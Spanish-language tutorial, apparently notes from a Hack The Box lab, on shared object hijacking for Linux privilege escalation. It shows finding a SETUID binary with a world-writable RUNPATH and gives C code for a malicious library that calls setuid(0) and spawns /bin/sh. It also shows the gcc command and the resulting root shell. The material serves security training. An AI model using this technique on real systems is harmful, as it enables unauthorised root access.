Shared Object Hijacking
El Shared Object Hijacking (secuestramiento de objetos compartidos) es una técnica de explotación que se puede utilizar cuando un programa depende de bibliotecas compartidas que son cargadas desde ubicaciones personalizadas o inseguros. Esta vulnerabilidad se puede aprovechar para ejecutar código malicioso con privilegios elevados, como root.
Ejemplo de Explotación:
Supongamos que tenemos un archivo SETUID binario llamado payroll que se ejecuta con privilegios de root:
htb-student@NIX02:~$ ls -la payroll
-rwsr-xr-x 1 root root 16728 Sep 1 22:05 payrollEl programa payroll depende de bibliotecas compartidas. Podemos usar el comando ldd para ver qué bibliotecas requiere:
htb-student@NIX02:~$ ldd payroll
linux-vdso.so.1 => (0x00007ffcb3133000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)Aquí vemos que libshared.so es una biblioteca no estándar que el programa payroll intenta cargar desde la carpeta /development. Esta carpeta es escribible por todos los usuarios en el sistema, lo que la convierte en un punto vulnerable.
Inspección del RUNPATH
El RUNPATH es una configuración que indica las rutas de búsqueda para las bibliotecas compartidas. Podemos verificar si el sistema está configurado para cargar bibliotecas de ubicaciones personalizadas utilizando la herramienta readelf:
htb-student@NIX02:~$ readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]Aquí, el RUNPATH está configurado para permitir la carga de bibliotecas desde la carpeta /development, lo que significa que si un atacante coloca una biblioteca maliciosa en esta carpeta, el sistema la cargará en lugar de otras versiones legítimas de bibliotecas.
Aprovechando la Vulnerabilidad:
Explorar la carpeta /development:
Al inspeccionar la carpeta /development, vemos que está escribible por todos los usuarios.
htb-student@NIX02:~$ ls -la /development/
total 8
drwxrwxrwx 2 root root 4096 Sep 1 22:06 ./
drwxr-xr-x 23 root root 4096 Sep 1 21:26 ../Compilar una Biblioteca Maliciosa:
Ahora necesitamos encontrar la función que es llamada por el binario. Podemos hacer esto utilizando ldd y observando la salida. En este caso, el binario depende de la biblioteca libshared.so. Sin embargo, la función dbquery no está definida en la biblioteca que ya está presente en el sistema. Para explotar la vulnerabilidad, debemos crear nuestra propia implementación de esta función.
El siguiente código crea una función dbquery que se ejecuta cuando se carga la biblioteca maliciosa. La función setuid(0) le da privilegios de root al atacante, y luego se ejecuta /bin/sh:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void dbquery() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}
Compilación de la Biblioteca Maliciosa:
Una vez que tenemos el código de la función, compilamos el archivo como una biblioteca compartida:
htb-student@NIX02:~$ gcc src.c -fPIC -shared -o /development/libshared.soEjecutar el Binario Malicioso:
Ahora que la biblioteca maliciosa está en la carpeta /development, podemos ejecutar el binario payroll:
htb-student@NIX02:~$ ./payroll
***************Inlane Freight Employee Database***************
Malicious library loaded
# id
uid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)Last updated